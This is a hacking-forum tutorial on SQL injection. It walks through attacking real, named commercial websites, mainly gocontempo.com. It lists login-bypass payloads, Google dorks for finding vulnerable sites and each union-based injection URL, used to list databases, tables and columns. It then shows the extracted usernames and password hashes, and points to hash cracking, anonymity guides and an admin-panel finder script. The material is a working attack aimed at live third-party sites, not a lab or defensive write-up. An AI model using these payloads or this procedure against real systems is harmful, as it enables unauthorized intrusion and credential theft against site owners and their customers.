May 8, 2012 11:51 PM
(This post was last modified: Nov 11, 2012 06:35 AM by Suved.)
[img]http://img4.imageshack.us/img4/368/coollogocom71588305.png[/img]
What is SQL injection?
SQL injection is used to exploit and extract data from website.Using SQL injection attacker can extract data like Admin login information,credit cards details,emails,phone no,address,name etc.
SQL - Structured Query Language
SQL is a programming language use to communicate and manage database.
If this doesn't satisfy your curiosity then here's a link to Wikipedia.
__
Hiding yourself on Internetrefer the following tutorials
- [Tutorial] Stay Anonymous and Secure [Online & Offline] [Updated]-- by Techie
- [Tutorial] Become anonymous, hide IP, encrypt&hide HDD, hide identity ****-- by WhiteFlame
let's start a real stuff.
__
Finding Vulnerable Website Using Dorks
Dorks list -- by SideSwipe.
Just copy one Dork for eg- inurl:index.php?id= and Google it.
__
Gaining Access to Administrator Account Using Quries
Examples:
Code
http://www.uslandandhome.com/admin/index.php
http://www.orinux.com//adminCode
[color=#32CD32]Username:[/color]' or 'x'='x
[color=#32CD32]Password:[/color]' or 'x'='xCode
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'__
Normal/UNION Based SQL Injection
Checking VulnerabilityTarget:
Code
http://www.gocontempo.com/pages.php?id=2Code
http://www.gocontempo.com/pages.php?id=2'Spoiler (Click to View)
If website loaded as it is without error or unharmed then website is not vulnerable to SQL injection.If it gives error we can move further otherwise you can select another website.
__
Finding Number Of Columns
Code
http://www.gocontempo.com/pages.php?id=2+order+by+1-- NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+2-- NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+3-- NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+4-- NO ERROR
http://www.gocontempo.com/pages.php?id=2+order+by+5-- NO ERRORDon't forget to add --(two hypen) at the end of link.
Code
http://www.gocontempo.com/pages.php?id=2+order+by+15-- ERRORfinally we got error at order+by+15--. It means that our website contain 14 columns.
__
Determining Vulnerable Columns
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--Code
http://www.gocontempo.com/pages.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--Spoiler (Click to View)
It will display vulnerable columns.It displays column number 4 is vulnerable.
we will use vulnerable column to extract data from website.
__
Determining Mysql Version
It is easy to find Mysql version.Replace vulnerable column with
Code
@@versionCode
version()we got column number 4 vulnerable so we will replace column number 4 with @@version.
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14--Spoiler (Click to View)
Code
5.1.61-community-logwe got mysql version 5.1.61 it's good.If you got mysql version less than 5 then you have to use error based SQL injection.I am not going to explain error based SQL injection.so leave that website and choose another.let's move further..
__
Finding Database
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14+from+information_schema.schemata--information_schema contains metadata.Metadata is data about other data such as tables and columns.
information_schema.schemata contains name of all databases.
we got names of database information_schema,gocontem_contempo
__
Finding Tables
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()--Spoiler (Click to View)
It is not in proper manner.we need to bring them in proper manner so we can observe them clearly.
just add 0x0a after table_name
0x0a means new line.
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(table_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.tables+where+table_schema=database()--Spoiler (Click to View)
we got following tables:
Code
adtrackz_actions
,adtrackz_alerts
,adtrackz_campaigns
,adtrackz_campaigns_st
,adtrackz_clicks
,adtrackz_groups
,adtrackz_login
,adtrackz_preferences
,adtrackz_redirects
,adtrackz_sales
,adtrackz_split_test_campaigns
,adtrackz_split_test_groups
,adtrackz_subcampaigns
,contempo_slideshow
,tblcanadatax
,tblcategory
,tblcolors
,tblcountry
,tblcustomers
,tbldesigner
,tbldiscountcodes
,tblgroup
,tblimages
,tblmaincategory
,tbloption
,tbloptionname
,tblorderdetails
,tblorders
,tblpage
,tblpagename
,tblpermissionlevels
,tblpermissions
,tblpics
,tblproducts
,tblrelated
,tblsitemap
,tblstate
,tblsubcategory
,tblsupplier
,tbltemp
,tbltempoption
,tbltempoptionname
,tbltemppics
,tbluserpermissions
,tblusers
,tblvendor__
Finding Columns
Code
www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(column_name,0x0a),5,6,7,8,9,10,11,12,13,14+
from+information_schema.columns+where+table_name=char(116,98,108,117,115,101,114,115)--String - ASCII, HEX, Binary Converter
Spoiler (Click to View)
we got columns from tblusers.
Code
UserId,UserName,UserPwd,UserLevel__
Extracting Data From Columns
Code
http://www.gocontempo.com/pages.php?id=-2+union+select+1,2,3,group_concat(UserId,0x3a,UserName,0x3a,UserPwd,0x3a,UserLevel,0x0a),5,6,7,8,9,10,11,12,13,14+from+tblusers--Spoiler (Click to View)
Code
3:contempo:043d9d7cd5afa18257b77164bc91205e:1
,4:contempo:416947dc3ddd5871659ee142273ffa95:1
,19:gocontempo:27b811b22de87faa7925ae3c2a0337fe:0
,20:sample:1b4ea4c5cc5181229340c1c188baad6f:0Finally we got usernames and passwords.
password are not in plain text they are in encrypted form.we need to decrypt them.
Admin Login Page:
Code
http://www.gocontempo.com/admin/index.php__
Identifying Hashes
Refer these tutorials for identifying hashes.
- [Bookmark] Hash Types [You will need it]-- by Haxor
- [REFERENCE] HASH TYPE REFERENCE GUIDE [REF]-- by Hooded Robin
- [RELEASE] ##Hash Identifier## Don't know the type of hash? COME HERE![Zer0]-- by Zer0Freak
__
Cracking Hashes
__
Finding Admin Login Page
- Perl Script
Download ActivePerl and install
Admins.pl
open CMD and navigate to admins.pl or simply double click on admins.pl file.
Spoiler (Click to View)
now enter name of your targeted site and press enter
eg:http://www.gocontempo.com
Spoiler (Click to View)
type coding language of your website such as php,asp.If you don't know coding language then type any and press enter It will begin scanning for Admin Control Panel.
__
🤝Thank you for reading my tutorial.🤝
Please post comments and let me know how was tutorial.




